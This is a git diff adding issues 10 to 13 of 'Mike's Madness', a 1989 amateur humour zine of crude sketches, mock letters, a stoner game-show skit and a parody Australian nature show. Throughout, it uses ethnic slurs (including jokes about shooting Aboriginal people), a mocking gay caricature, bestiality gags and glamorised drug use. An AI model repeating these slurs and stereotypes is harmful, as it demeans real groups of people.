[*HEAVE!*] Huka- + huka-huka-huka PEEEEEEWWWWWWWKK! + D. Qualie: Why do you think I joined the National Guard? + G. Bush: I like to pound my potato before every cabinet meeting. + M. Gorbachov: I like to do it while reading Das Capitals. + K. Marx: 'ere! That's revolting! + + As you can see boys, self abuse is the easiest way into the geopolitical +realm. But it's also a quick ticket to Hell. Remember: Think once, think +twice, think "I'm goin' to Hell if I caress my carrot". The soul you save +may be your own! And if you're having those kinds of feelings, talk to your +preacher. He's a pedarast . . . ooops! Pedagog. + Now I must go, I have important work to do. (Hey, will one of you +Cardinals hand me that copy of Penthouse? Thanks . . .) + + Sincerely, + + The Pope + + Not associated with the Mafia. + Well, not a lot, really. Some. + A bit. More than a bit + honestly, but not much more! + Maybe. Well, to be honest, + a lot, actually. Wholly + associated, he is. + + diff --git a/textfiles.com/magazines/MIKE/mike10.txt b/textfiles.com/magazines/MIKE/mike10.txt new file mode 100644 index 00000000..592307fe --- /dev/null +++ b/textfiles.com/magazines/MIKE/mike10.txt @@ -0,0 +1,139 @@ +Mike's Madness #10 + + . . . And now + + # 27: A bit about Chess + A bit about Chess + + Here we are today at the match of the century! R. Capablanca vs. P. +Morphy. This promises to be a great match as Capablanca is armed with an +American Smith and Wesson .45 and the memory-expert Morphy has chosen a +German Luger as his side-arm. Both players have been drinking heavily, so +there should be violence-a-plenty for all! Here comes Capablanca. The Cuban +is wholly pissed, staggering, and can hardly walk. And crawling on stage now +is Morphy. This amazing American has been slamming brews since 6 this +morning and can't see straight any more. The Arbiter comes over to make +Capablanca and Morphy shake hands. . . but Morphy is giving Capablanca the +bird instead! AND CAPABLANCA HAS GRABBED HIS CROTCH AND LIFTED SEVERAL +TIMES!! That move is usually reserved for our Italian players . . . wait a +second . . . MORPHY IS TELLING CAPABLANCA EXACTLY WHAT HE CAN WRAP HIS LIPS +AROUND!! This is indeed exciting! Capablanca is entirely enraged now . . . +AND SHOOTS MORPHY!! So, only a few seconds into this very arousing game, +Capablanca is declared winner after wasting his American challenger! Well +played for a Cuban greaser. + + Roger the Fox's adventures in Sacramento! + + Roger the Fox was a happy little fox. He lived in the lush and green +forests of the Sierra Mountains in a snug little den. He had many friends: +Barry the Badger, Harry the Hare, Sally the Squirel and Sal the Sodomite. +Sal was Roger's very best friend and Roger often let him stick his arm +in all the way to the elbow and . . . + + + DEAR SIRS! + That last bit was wholly revolting and completely without social +value! This must stop now or we'll see a resurgence of the Labor Party! +You've been warned!!! + Go to Hell, you Jack-O bastards! + Margaret Thatcher, P.M. + + . . . then Sal got out the Stuka and lubed Roger's as . . . + + RIGHT! RIGHT! I WARNED YOU! RIGHT?! I WARNED YOU! + + There will now follow a message from the Labor Party: + + "SCREW THE PRIME MINISTER!!! BACK TO THE BLEEDIN' STORY OR WE'LL GIVE YA + THE BOOT TO THE 'EAD!" + + . . . Roger yipped in pain and Sal shoved the twin 50mm cannons in passed +Roger's stretched . . . + + Dear Sirs, + Must we have references to bestiality? You know boys, the Devil has a +special level for people who practice that sort of thing! Just ask these +famous people: + + Dr. John C. Lilly: Anything those dolphin's say is a lie! I never did + nothin' like that. Well, maybe once. Or a few times. + Quite a bit, actually. Like once and hour. Why can't + they make air that lasts 3 or 4 hours?? I mean, + you're just gettin' into it when *GASP*, you're outta + bleedin' air! + + John Wayne: My horse was more than my best friend. We got married in + Las Vegas and spent our honeymoon at the Sands. + + Hannibal: How do you think I got the elephants over the fucking Alps, + anyway? + + Pavlov: You should have seen what the dogs would do when they heard + TWO bells! + + C. Darwin: When presented the choice of sleeping with a turtle or a seal + in the Galapagos, the seal was the natural selection. + + Lady Gogiva: Just outta fairness, I let the horse ride naked on me a few + times. + + Ziegfried and Roy: We have a special trick that we don't usually show to + the general public. It involves a lioness, a ripe + cucumber and a handful of Vasaline. + + Greenpeace: Once we were sitting between a Russian whaler and a pod + of whales and we yelled "Save the whales!". Well, this + Russian sailor instead yelled "FUCK THE WHALES!". + It was great. + + See boys, you could end up like these filthy little perverts. They're all +goin' straight to Hell. So cut the shit, boys, or your gonads are going to +be roasting over hellfire for enternity! + + Signed, + The Pope. + + . . . Finally, Sal gave the tail a huge push and it glided smoothly up +Roger's . . . + + Dear Sirs, + Hey, you wouldn't know where we could find that fox with the Stuka up +his ass, would ya? Or maybe a stoat with an ME-109 loged in its skull? Or a +robin with a Panzer in it's craw? Do any of those come with ammo? + + Just curious, + The American Nazi Party. + + "That letter wasn't REALLY from the Pope, was it?" Roger asked between +winces. + "Naww," Sal said. "The real Pope signs his name 'The Pope what you better +listen to or I'll send a few bishops out to rough you up'." + "I think that pilot wants his plane back," Roger said. + "Okay, just turn around then and I'll yank it out," Sal replied. + + . . . And it was with this clever method of hiding dive-bombers in animal's +alimentry canals that Hitler hoped to pull off the most daring of all the +World War II missions . . . + + + "Agnes, what's on the television, then?" + "Shhh! It'a a documentary about World War II!" + "Blimey! I've already seen World War II. Turn to BBC-2!" + CLICK! + "What's that, then?" + "It looks like a soccer match!" + "'oo is THAT!??" + "It's bleedin' Hitler!" + "OOH! So it is!" + "What's 'e doin' there, then?" + "He says Hull didn't save the last point because the Goalie was outta da + box." + "Well, I must say 'e's got a good eye, then." + "YES! Durin' the war, he usedta ref for Bromsley!" + "OOOOOOH! That IS impressive." + "Yeees. What's on BBC-3?" + CLICK! + "It's Roger the Fox's Adventures in Sacramento!" + "I seen it already. Turn it off." + CLICK! + diff --git a/textfiles.com/magazines/MIKE/mike11.txt b/textfiles.com/magazines/MIKE/mike11.txt new file mode 100644 index 00000000..f3977269 --- /dev/null +++ b/textfiles.com/magazines/MIKE/mike11.txt @@ -0,0 +1,312 @@ +Issue #11 of Mike's Madness is a special release issue, in celebration of +Mike's graduation from Cosumnes River College and his receiving his A.A. + + "Hi, I'm Alice," the little girl said in a sparkling manner, for she was +a very polite girl indeed. + "'Ere!" Steve said with barely-scented breath. "You got any beer??" + "No sir!" Alice said with a tone of alarm, "Alcohol is very bad for you!" + "'oo are you then, the Surgeon's General?" Steve asked menacingly. + "I'm a member of the Stop Drinking or I'll Kick You in the Balls Movement!" +Alice said very proudly. + "Blimey!" Steve spat. He was quite unprepared to meet anyone with the +moral virtue of Alice. Indeed, the little cretin had spent the majority of +the morning putting the boot to old ladies and spitting at policemen. + "Now Mr. Bancroft," Alice said sternly, "are you going to quit drinking?" + "Little Girl?" Steve asked politely. + "Yes?" she answered brightly. + "FUCK OFF!" Steve commanded. "Fuck you, fuck you and the horse you rode in +on. Fuck you and anyone who looks like you. Fuck you and your mother. Fuck +you and your dog. Get fucking real. Is this a fucking joke? What the fuck's +the story here? Just suck me!" + Well, hardly had Alice ever heard such language from a U.C. Davis student. +Oh and was she ever so shocked! She could hardly imagine anyone using such +language and still having a tongue afterwards. + "Caw Blimey!" Alice said in surprise. + And to add insult to injury, Steve flipped Alice the bird! Alice could +only gasp in shock. + And for the coup-de'-grace', Steve FARTED! + Alice gasped in shock again, but she accidentally sucked some fart-air +into her lungs. Gasping and hocking up great wads of phlem, she died. + **THE END** + + This man is Steve Bancroft, alumnus of U.C. Davis. For the last nine +years, he has been struggling with one of the greatest questions of our +time: "Why does anybody need Pi calculated to 20 billion digits?". Today, he +will not come up with an answer. Nor tomorrow. Or even the next day. No +solultion will come to him in the span of years and finally in the span of a +life. He dies at Saint Philsbury-on-Creme Hospital without ever learning the +answer. + + . . .And now, for Mr. Bancroft of U.C. Davis, The Answer to the Question +"Why does anybody need Pi calculated to 20 billion digits?"! Tonight, the +noted proffesor Jenkins of M.I.T. will answer your question. Please give a +warm welcome to Mr. Elizibeth Jenkins, professor at M.I.T. and noted +cross-dresser! + "Good evening, Professor Jenkins!" + "Ooohh! Well helllooo thailor!" + "Caw blimey, you're a poove!" + "Oh you little bitch! I'll scratch your eyes out if you say that again." + "GET OUT! I'm not having a raving queen on my show! GET OUT!" + "And you acted so butch backstage!" + "GET OFF!" + "Well I'm certainly never sleeping with you again!" + "BUGGER OFF SOMEWHERE ELSE!" + "Ha! I got another date for tonight! Toodles!" + "Well Mr. Bancroft, you're question will not be answered tonight." + +The Biblical Lesson of Saint Steve, Australian Translation + +1: And so did Saint Steven wander many days in the Land of Nod seeking the +Children of Cain. For many years wandered he, ever seeking, yet never +finding. +2: So Saint Steve grew frustrated and did calleth upon the Lord to interceed +in his quest. +3: And the Lord was merciful, and he sent Saint Steve 2 six-packs of ice +cold Foster's. +4: Saint Steve did see the rain of beer. And joy entered his heart, for the +desert was hot and the beer cold. +5: And light did comes into his eyes as he spie a can flying towards him. +Yeah verily, and did that light also go out when he was beaned in the skull +by a 25 fluid ounce can of frozen Foster's moving at sub-sonic speeds. +6: Here endeth the lesson of Saint Steve. + + + COMING SOON FROM 20'TH CENTURY FOX . . . + + 20'TH CENTURY FOX ! + + He was born after 1900 and he's a fox in +a new century! See a tale of action so big +they had to invent a new number system just +to determine how big it is. It's huge! Not +just large, but behemoth! Gigantic! The +screen alone takes up all the space from here +to Alpha Centauri! The fox itsself appears +to be a light-year long and his anus could +swallow up most of the inner solar system! +You cannot miss this movie! +S*T*A*R*R*I*N*G +Steve Bancroft as the man who is looking for beer. +Annette as Bitchzilla, who fights the 20'th Century Fox. +Matt as Barfzooka, the Ultimate Weapon +Jason as Stoner Joe. +And introducing . . . +David Rediski as Mr. "Hand-Job" 1988! +And who could forget . . . +Tom as Mr. Mopey! +(fair play shot) +And . . . +Mike Beebe as the Fat Guy! +*Coming soon to a prison near you!* + +==================================================================== +The following skit was written by Steve, Mike's editor, as a + graduation present for Mike. +==================================================================== + +Smoke Your Weight in Colombian. An exercise in self-indulgence. + +Cast of Characters: + + Blink Martinidale -- Host + Mike Beebe -- Contestant + Steve -- Show Assistant + Jason -- Male stoner in Audience + Twyla -- Female stoner in Audience + Audience -- Random collection of adults + children + +Setting: The usual looking game show setup -- kinda like Tic-Tac-Dough or + Joker's Wild or Scrabble or any of those regular game shows, the + only difference being that one contestant seat is present instead + of two. General theme music plays in the background as the skit + begins... + +Blink: 'Good Evening, and welcome to "Smoke your weight in Colombian", +the show where 'You don't go home.'. I'm Blink Martinidale. Tonight, we +are very pleased to have a special guest from Sacramento, California. A very +robust young man who is majoring in Undeclared at the University of Buds, +please welcome, your friend and his, Mike Beebe!' [Loud racous cheers from +the audience...Jason shouts from the audience 'Right on!'] + +Mike: 'Good evening.' + +Blink: 'It's only 10:30 a.m.' + +Mike: 'Whatever. Where's the weed?' + +[Audience cheers.] + +Blink: 'Not so fast, Mr. Beebe. We have to tell you the rules first. +The rules are simple. Smoke your weight in Colombian Gold, and you win.' + +Mike: 'Uh, what do I win?' + +Blink: 'More Colombian.' + +Mike: 'Killer.' + +Jason: 'Hey...how do I get on this fuckin' show?' + +Blink: 'Ok, Mike, are you ready?' + +Mike: 'Stupid question, Wink.' + +Blink: 'That's Blink.' + +Mike: 'Whatever. Where's the weed?' + +Blink: [uneasily laughing] 'O.K., Mike, here's the first plateau. 10% of +your weight in Colombian. May I have the potato sack please?' + +[A young man of about 18 years old comes out, eyes redder than a tomato.] + +Mike: 'Hey, Steve! How'd you get here???' + +Steve: 'I'm the one who's fucking writing this story!' + +Mike: 'Oh, yeah.' + +Steve: [Roughly] 'Blink, i'm 'fraid theres a bit less than 10% of Mike's +weight of Colombian left in this here bag...due to technical difficulties +beyond *HACK* *HACK *COUGH* beyond my control...' + +[Steve passes out on the floor, and drops the bag. Jason yells out 'Right +on!'] + +Blink: 'Well, well, well. Ok, Mike, are you ready for the first plateau?' + +Mike: 'More than ready.' + +Blink: [Taking the full potato sack of Colombian weed over to Mike and +putting it on his podium] 'Regulations for "Smoke your weight in Colombian" +require you to hold each hit for a minimum of 5 seconds. Any less, and we +will have to toss in more weed to account for it.' + +Mike: 'Killer.' + +Blink: 'Unfortunately, that's how it will probably end up for you. On, +your mark, get set, T O K E ! ! ! !' + +[Mike suddenly undergoes a dramatic and spectacular change of personality. +He whips out a huge pipe, 3 feet long, with a bowl the size of a drinking +glass. In the middle of the pipe stands water-smoke coolant mechanism, +filled with brandy. Mike, waving to Jason in the audience, and the now +comatose Steve on the floor, says, confidently and securely 'Das Vadanya, +comrades.' He grabs two handfuls of the weed in the potato sack, and stuffs +them into the bowl. The weed is so sticky he can't get some of it off his +hands. 'Fuck it' he exclaims. From beneath his jacket he produces a butane +torch, ignites it, and douses his weed in blue/white flames. Breathing in +for what seems like forever, the whole bowl of weed bubbles through the +brandy and into his lungs. The studio grows silent. Mike calmly puts the +butane torch down, and closes his eyes.] + +Blink: 'Uh, Mike, it's been 20 seconds. You can exhale any time now!' + +[Mike nods his head politely. 30 more seconds go by, and finally, he +releases. A cloud of white/grey smoke billows out of his lungs, as six 12 +year olds bound out of the audience and run towards the cloud. Their +mothers grab them and put them back in their seats.] + +Mike: 'Killer.' + +Blink: 'Wonderful, Mike. Just wonderful. How do you feel?' + +Mike: 'Killer.' + +[Mike, grabs another handful of weed. He stops for a moment, appearing to +be in deep thought. Then, signaling to someone in the audience, he +exclaims...] + +Mike: 'Jase, bring on................The Pounder.' + +[A sharply dressed young man pops his head out of the audience and produces +what appears to be a lead pipe, about 4 inches in diameter, and about 5 feet +long. He also grabs a huge hammer from a backpack. He walks up on stage, +and stands in front of Mike.] + +Jason: 'I'll bet you Albert is watching this on NBC.' + +Mike: 'Yeah, he bet me that if I could smoke my whole weight in Colombian, +he would get me every Classical CD ever produced. Boy, he must be shakin' +in his socks now.' + +[Mike begins to stuff handful after handful of weed into the bowl. When it +seems to be overflowing, Jason interceeds and puts the solid lead 'pipe' +over the bowl. It fits the bowl perfectly. And, with a few sharp pounds of +the hammer on the pipe, the weed in the bowl is compressed to half of its +original volume.] + +Mike: 'Killer.' + +Jason: 'Killer.' + +[Packing and pounding, packing and pounding, Mike continues to smoke bowl +after bowl. Soon, the audience begins to realize they are getting 'contact +high', and some of the conservative ones leave, disgusted.] + +***FOUR HOURS LATER*** + +[Mike, a virtual zombie, is now being held up by three other crew men.] + +Blink: 'Congratulations, Mike! You have finished off 35% of your weight +in Colombian. How do you feel?' + +[40 minutes of silence pass. Finally...] + +Mike: 'Killer.' + +Jason: 'Right on! Right on! C'mon Mike, you got 5 more sacks to go!!!' + +[Jason, borrowing an electric bong from Twyla in the audience, who had +showed up 3 hours previous to watch the show, pumps 4 more bags of killer +Colombian into Mike.] + +Mike: '..blxrzyq...' + +Jason, Announcer: 'What?' + +Mike: [pause...] 'No....no..more....gotta.....quit......' + +Steve: [suddenly bouncing up from his coma, eyes red and all] 'NO WAY, +MIKE. Never, EVER, are you going to back out of this one. For years I've +considered you the expert pot smoker of the century, and now, you're backing +out on your only chance to stay buzzed for 3 months in a row. If you quit +now, I swear by all that is good and right, I WILL NOT front you a twelve +pack for this summer's camping trip.' + +Jason: 'He's got you, Mike. There's nothing you can do now but keep going.' + +Mike: [whispering] 'Shit. Ooops.......I mean.....Killer.' + +Steve: 'That's the spirit!' [Immediately falls back on the floor again, dead +to the world.] + +[Jason pumps the final sack of marijuana into Mike with the electric bong, +and he passes out cold. His eyes are so red, they glow from beneath his +eyelids. The cameramen begin to claim that they are getting stoned just by +looking at him. The announcer does not argue.] + +Blink: 'HE'S DONE IT!' [Theme music plays] 'Congratulations, Mike, or +whoever you are now. You've smoked your weight in Colombian! Of course, we +measured your weight in DOUBLED KILOGRAMS, not pounds. Clumsy us! Heh heh +heh. Your consolation prize will be left with Jason, your apparent friend, +and, for about 4 years to come, your respiratory machine operator. He will +be in charge of delivery of the prize. Your prize?? 100 pounds of Killer +Colombian Green Buds. No shake. No stems. NOTHING BUT 100 pounds of the +most sticky, stony buds ever imaginable.' + +Jason: 'Killer deal, dude.' + +Blink: 'Tune in next week when two girls who call themselves Twyla and +Karen attempt to "Smoke their weight in Colombian". So long folks, and +remember, a day without pot, is like, totally terrible, dude!' + +[Blink takes a pipe from his coat jacket and sneaks a toke before the +cameras shut off. Steve, although still passed out, slowly gives a 'thumbs +up' to Jason as he passes by, Mike on one shoulder, 100 pounds of buds on +the other.] + +(C) 1989 Yucks For You, Inc. +Mike Beebe, Steven Bancroft + + diff --git a/textfiles.com/magazines/MIKE/mike12.txt b/textfiles.com/magazines/MIKE/mike12.txt new file mode 100644 index 00000000..99a9d278 --- /dev/null +++ b/textfiles.com/magazines/MIKE/mike12.txt @@ -0,0 +1,337 @@ +=== +=== Mike's Madness #12 +=== +=== Season Premier +=== + +In Memory of Graham Chapman + + Good day. + I would like to talk about a subject that not all people feel comfortable + with. + I would like to talk about: + Australia. + The meer mention of our mates down under raises a chill in the spines of + many. + Especially when they think of all those sheep. + Thousands of them. + An ocean of sheep. + (Well there's a lot, anyway.) + Then there's that dream. + That dream where you're on an island. + An island of . . . sheep. + Mmmmmmmmmmmmmm. + So innocently they flick their tails to reveal that tight, pink... + [C R A C K ! !] + "OI! TAKE THAT YA REVOLTIN' PERVERT!" + You hit me! You hit me in the mouf! + + Yes! Where'ver sheep are threatened by (check one) . . . + \/ + [ ] filthy perverts, + [ ] Marxist/Leninist ideology, + [ ] great 'unks of Spam, + [ ] Apple products, + [x] sheep fondlers, + + . . . 'arry Butler will be there! + +(Editor's note: This is in no way, shape or form meant to suggest that the +Patron Saint of Australia, Harry Butler, would EVER engage in any of the +said sheep fondling activities. Not much, anyway.) + + --- + + I'm sure the people down in Austrailia readin' this are a tad irked +because I portrayed their favorite naturalist (which is almost the Australian +equivalent of a saint) as a bit . . . hmmmm . . . "earthy". Well cheer up! I +truly do love Harry and the whole of Australia. Great country. 'Specially that +lovely collection o' venomous creatures y'all got yourselves there. They was +talkin' to some dude down there in Austrailia on National Geographic Explorer +(okay, yeah . . . I do actually watch and enjoy Explorer. Closest I'll ever +come to actually traveling anywhere neat) and they asked this dude: + + "How many venomous species of wildlife does Australia posses?" + + "200," that dude answered in a snap and with a note of pride. + + But the thing that amazed me was that he answered the question at all. If +some dude asked you "How many poisonous species are there in the US?", you'd +answer "huh?", because the number of vemomous species residing in the U.S. +isn't a point of common knowledge. Not so in Australia. It's like a point of +national pride there. You can go to any bar in Australia (and there is quite a +number of them) and there'll be some dude who just killed his twentieth +Foster's in many minutes, keeping atop his barstool with the grace of a +spastic trying to balance on one hand, and belching with such force that +you're surprised he doesn't just shoot off his barstool and fly around +backwards like some demented NASA project, mouthing off about the potentially +lethal wildlife of Balmyland. + + "OI!" he'll yell to whoever's sober enough to hear him, "Oi! Wot a great +country Australia is, 'specially all the deadly fauna stalkin' around! Blimey! +Quite a bit of it then, ain't there? You can keep your black widows, and +rattle-snakes and Putorican kids with green teeth. Give me a Blue-Ringed +Octopus anyday. [BUUUUUURRP!]. BLIMEY! One o' them octo-puses wiped me entire +family out! The vicious little basta'd crossed the 1,000 miles of sun-baked +desert between Alice Springs and the ocean, at high noon when the temperature +was 300c in the shade, in under 1 hour. Then it ripped the side off the house +and proceeded to bite us to death . . ." + +[THUD!] + + And then someone'll yell: + + "OI! The Prime Minister fell offa 'is bleedin' barstool again!" + + + ENJOYIN' THE ART GALLERY + ------------------------ + + I went to the Legion of Honor in San Francisco (it's an art gallery) and +I noticed how many people are wholly unequipped to take even the most basic +pleasure from Art. They mill about, keeping silent, and never express their +honest feelings about the paintings. + + Not me. + + That's why I've written this article. To help you get the most for +whatever exhorbitant fee they charge you to get in the museum. + +FIRST, KNOW THE RULES! +-=-=-=-=-=-=-=-=-=-=-= + +And at the last check, those rules were: + + NO!: + - +Spittin' +Fightin' +Barfin' +Touchin' yerself (or others!) +Stealin' things +Makin' noises like Curley. + + For comparison, here are the rules at the Sydney's Kitch-O-Rama Gallery. + + NO!: + - +Abbos + +EXPRESSING YOUR ADMIRATION +-=-=-=-=-=-=-=-=-=-=-=-=-= + + Don't just regard beautiful works of art with a simple nod. Tell +people about 'em! Share your experience with anyone inside hearing range! +Let 'em know how much you like the paintings! + +Example: + +(after viewing a Barouque painting): + + "Oi! OI! 'ERE'S A GOOD 'UN, THEN! ROIT NOICE! PLENTY OF TITS!" + +(after viewing a Dutch Master): + + "I LOIKE THIS 'UN VERY VERY MUCH! ESPECIALLY THE TITS!" + +(after viewing a piece of Modern Art): + + "PISS ARTIST! PISS ARTIST! AND THERE'S NO TITS!" + +after viewing various 17'th century Venus paintings): + + "OI! SHE GOT A BIG BUM! NOICE TITS, THO!" + +(after viewing French ceramics from the age of Louis the XIV): + + "'ERE'S A NOICE BIT OF KITCH, THEN!" + +(After viewing Impressionist art): + + "THIS 'ERE'S A PAINTIN' WIT' A MESSAGE -- AN' THE MESSAGE IS THE FROGGY +WOT PAINED THIS SWILLED TOO MUCH CHEAP WINE 'FORE HE STARTED!" + + Should someone disagree with your views, and suggests you keep them to +yourself by uttering some curt comment like "Shut your fucking mouth, ya +bastard!," you should hit them very, very hard. Fuckin' art critics. + +Use your senses! (wot ya got of 'em) +-++-++-=+-$+#-_=_++-;..++-/+.=_=--/= + + Paintings are pleasing to the eyes, but they are equally enjoyable to the +nose, fingers or palette. Use ALL your senses when enjoying expensive works of +art. Get right up in there and take a great whiff! Ahhh. Or a few licks should +really give you the "taste of history" inherent in so many paintings that cost +more than $100,000. + +Farting +------- + It's right out. + +Masturbating +------------ + Also frowned upon (usually). + +Gettin' the boot +---------------- + Too often, a fine day at the gallery is cut short by some little facist +in a rent-a-cop outfit bootin' ya out because YOU know how to enjoy art and he +doesn't. When this happens, you should yell obcenities at the creep until he +threatens to call the police. You should then stagger off and urinate on some +expensive statue or fountain the museum has foolishly left outside. + That'll show 'em. + +Coming soon![K +------------ +Enjoyin' the Symphony +Enjoyin' the Ballet +Enjoyin' the Theater +Enjoyin' the Zoo +REALLY enjoyin' the Zoo (12 p. Plain brown wrapper) +How to Hire a Defense Attorney +Bolero: Music to Masturbate by +Having one off while listening to Wagner (personally endorsed by A. Hitler) +Caress your Carrot to Rimsky-Korsakov +Modest Moussorgsky and the Naughty Girls of Minsk. + + +There will now be a reading from a selected work of classical literature . . . + + +(from Modest Moussorgsky and the Naughty Girls of Minsk): + + "Please show us your organ, Mr. Moussorgsky," Vannessa pleaded. + "Yes! Yes! Show us all your big organ!" the rest joined in. + "Well, it's not that big . . ." Modest stammered modestly. + "I heard it's the biggest in all pre-communist Russia!" Catherine said. + "Even the Czar himself admires it!" Vannessa added. + "Yes, and Rasputin has oft commented on its size!" Catherine also added. + "It's quite a big organ!" Vannessa also also added. + "Bigger than Lenin's?" Catherine asked. + "Oh much bigger!" Modest blurted. + "Bigger than Marx's?" Vannessa asked in amazement. + "Much bigger than any belonging to the founders of modern Communism!" + Modest admitted. + "Even bigger than Mr. Ed's?" the rest asked with lust dripping in great, + oozing drops from their words. + + "Well . . . let's not get silly." + + + Mr. Ed and Wilbur (3 bob. Over 21 only, please) + ----------------- + + Willllllllburrrrr! That's not a carrot, Willlllburrrrrr! You're not gonna +play Vet again, are ya? Oh Willllllburrrrrrrrr, you wait an awful long time +before ya ask me t' cough! OWWWWW WILLLLLBURRRRRRRRRRR! + +Wilbur: Come on, Ed -- let's hear ya whinny! + + + Dear Sirs, + + I wish to to complain, quite a bit, but no one listens to me. + + + Who fancies a sailor, then? + + Maggie Thatcher, P.M., P.M.S., + B.F.D. + + + Dear Sirs, + + Why can't we have a gross bit?! + + I do Maggie! + + H.R.M. Queen Elizabeth + + + And now for two nice ladies in the spotlight of world politics . . . + +# 43: A gross bit + A gross bit + +(sung [preferable not aloud or in the hearing range of children] to the +theme of the Beverly Hillbillies. I do wholly apologize for this now, +because don't think you're gonna be reading this later.) + +[A-HEM!] + +Lemme tell ya all a story about a man named Ned +Wasn't very bright, but he sure loved givin' head +Then one day he was suckin' on some dude, +And up from the head comes a bubblin' spooge! +Jizz, that is. +Cum. +African toothpaste. + +Next thang y'know Ned's got it in his ha'r. +Ned got upset an' said 'How'll I gettit outta thar?!' +The dude gettin' sucked on said "Leave it up t' me!" +Pulled outta Ned and washed it out with pee. +Whizz, that is. +Piss. +Golden showers . . . + + C R A C K ! ! + + 'E SHOT ME! 'E shot me in the leg! + + + So anyway, the other day I bought a package called FoxBase. I'd hoped +from the namesae there'd be a fox inside. + + Well . . . + + Not only was there no fox enclosed, but in the alleged fox's place was +30 disks and the Encylopedia Brittanica (which I later found was the +Pocket Edition of the instructions). + + So . . . . + + I wrote them a letter to voice my great displeasure. + + And . . . + + It looked like this . . . + + Dear Foxbase People, + + I would like to complain loudly and in person, but the cost of airfare +deprives me of this right and privilege. So I'll complain instead in this +letter. + + I recently purchased an edition of your so-called "fox" base program +from a software vendor near my house (Egghead Software on Howe, to be +exact. Best prices in town). And when I got it home, I discovered no fox +was enclosed. Nor was there a voucher for a vulpine. Or a receipt for a +reynard. In fact, apart from tromping down to your office with a loaded M- +16, taking you all hostage and demanding one for your release, I see no way +of obtaining a fox via your package. + + Why is this so? + + Yours with total lack of malice, + + Mike Beebe + +P.S. I sent you something that should give you a laugh and your competition +a shudder: a picture of a fox eating a dead racoon I flattened out on +Hiway 99 on the way back from Elk Grove the other night. That should give +cause for thought to the folks back in Hamsheer next time they try to +compare themselves to Foxbase! + + The nice folks at Foxbase have yet to reply, but I'm expecting a +Fox-Gram any day now. + + Welp, the Thorazine is starting to take effect now. See ya! + + +Wholly caustic humour written by: + +Mike "Drugs? Me? Never!" Beebe + +(C) 1989 Yucks for You! + diff --git a/textfiles.com/magazines/MIKE/mike13.txt b/textfiles.com/magazines/MIKE/mike13.txt new file mode 100644 index 00000000..f00a7dca --- /dev/null +++ b/textfiles.com/magazines/MIKE/mike13.txt @@ -0,0 +1,338 @@ +Mike's Madness #13 + +G'day and welcome to . . . + + I N T H E W I L D W I T H ' A R R Y B U T L E R + + G'day Moits! Welcome to yet anotha episode (and those of you who watch +a lot of the Discovery Channel know what I mean) of In the Wild with 'arry +Butler. T'day, we got a little friend of mine what I collected in the +Outback. He's the Very Very Very Rare Outback Robin. + + We 'ad a little problem gettin' this 'ere bird, because the little +bastard saw me comin' and flew away. Bast'ad. That's why I never stray far +from me P-51. Fired ROIT up and I was on bligh'er's tail in under 20 +seconds! Oh 'e tried to dodge, but these 75mm cannons did 'im a number! +But, uh, I think it was the nuclear-tipped air-to-air missile what done 'im +in. + + While I'm at it, loik to say a big "sorry" to the folks out at Alice +Springs. Bet y'all got yourselves a little sunburn there. Keep your chin +'igh, we got plenty of bloody Foster's on the way! Cheer ya ROIT up! Keep +ya from filin' lawsuits then, aye? + + But anyway, that little bastard snuffed it good when the warhead went +off. Vaporized 'im ROIT good! Calls for a Foster's! CHEERS TWO! Thanks moit! +Bloo'y good! + + Y'know, after a day of harassin' wildlife, there notin' I loik betta +thanna cold Foster's. GOES DOWN NOICE! Ah blimey, I could snuff six or seven +of these moity pints! Not even 'ave to take a leak! Roit nectar of +Australia! + + CATS!!! + WHABAMWHABAMWHABAMWHABAMWHABAM! + Got 'immmm. + + I roit 'ate cats! Bast'ads. Eat birds I could be chasin' in me P-51. +Roit pisser, that! Come 'ere, moit -- show ya something amusin' y'can do +wit' sheep! Getcha smoilin'! Betta than shootin' cats. + + 'ere's anotha one of our animal friends. It's a rabid dingo, mascot +of the U. of Sydney! + +(Sung VERY loudly) + +OH SYDNEY WE 'AIL THEEE! +AFTA WE PASS THE TEST +WE'LL BE FOROGOTTEN WIT' TH' REST +OH SYDNEY WE 'AIL THEE! + +SYDNEY SYDNEY SYDNEY! +THIS PLAN'S GOT OUR VOTE -- +IF THEY GIVE YA ANY SHIT, +PUNCH 'EM IN THE THROAT! +GOOOOOOOOOOOOO SYDNEY! + + Roit good foit song, that! Gitcha blood up! Make ya wanna go out and +commit a few atrocities, oi? Useda go out afta a match and shoot Yankee moid +cars. Get quite a few of them in the noit. Good fun, then. Then the bloody +gover'ment started puttin' limits on 'em. Only twelve a noit?! Blimey! +What's it comin' to, then? Croist, next they'll be sayin' we can't shoot +Abbos. That's a ROIT pisser, too! + + CHEERS TWO! Throat gets moity dry out 'ere in the Outback. Thanks Moit! +Bloo'y good! + + CATS!!! + WHABAMWHABAMWHABAMWHABAM! + Got 'immmmm. + + OI BLIMEY! Look, there's a bleedin' lizard in me Foster's! OI! COME 'ERE +MOIT! I GOT SOMETHIN' TO DISCUSS WITH YOU! 'Ere! There's a bleedin' lizard +in me beer! You didn't charge me for the bast'ad, did you? You're a roit +thief if ya did! Croist! It's been in there so long it's not even crunchy +anymore. I WAN'A FRESH LIZARD, YA COCKSUCKER! This 'un's been dead for 'ours! + + Another native to our pleasant shores is the tar-antula. They get moity +big out 'ere! Size of small dogs. Saw 'un eat a Scotty 'nce. Quoit repugnant. +Made me wanna pitch me Foster's. Roit pisser when that 'appens! But should +one of these bast'ads come prowlin' up your street, don't fail to blast it +at the first avalible moment. Show it 'oo's boss then, aye? I recommend #12 +shot (5 pounds should do), followed by low kiloton tacnukes. Make it think +twoice 'fore comin' up your street 'gain! + + CATS!!! + [WHA-BOOOOOOMCRACKLEOOOOOOMMMMMMMCRACKLE] + eeeeeeeeeeeeeeeeeEEEEEEEEEEEEEEEEEEEEEEEIIIIIIIIIIIIIIIII + whA-POW! + + BLOO'Y 'ELL! 'e's got artillery! Chroist! THIS IS BLOODY WAR, MOIT! + Fire up the P-51! I'm afta the bast'ad! See ya next week on: + + ___ I N T H E W I L D W I T H ' A R R Y B U T L E R ___ + + Sponsored by Foster's Lager. ROIT good beer! + + +* * * K-HELL RECORDS PRESENTS: + + 'arry Butler sings Pink Floyd's Greatest (that'd be a record to drop +acid to!). + +ROIT ROIT ROIT! +I'M VERY VERY NUMB! +CHROIST I'M NUMB! +I'M ROIT NUMB! +BLIMEY! +BLIMEY! +I'M BLOODY NUMB! + + +WE DON'T NEED NO BLEEDIN' EDUCATION! +WOT WE NEED'S SOME BLOODY FOSTER'S! +CHEERS TWO! +THANKS MOIT! BLOO'Y GOOD! + + +I WAS IN TH' BLEEDIN' KITCHEN! 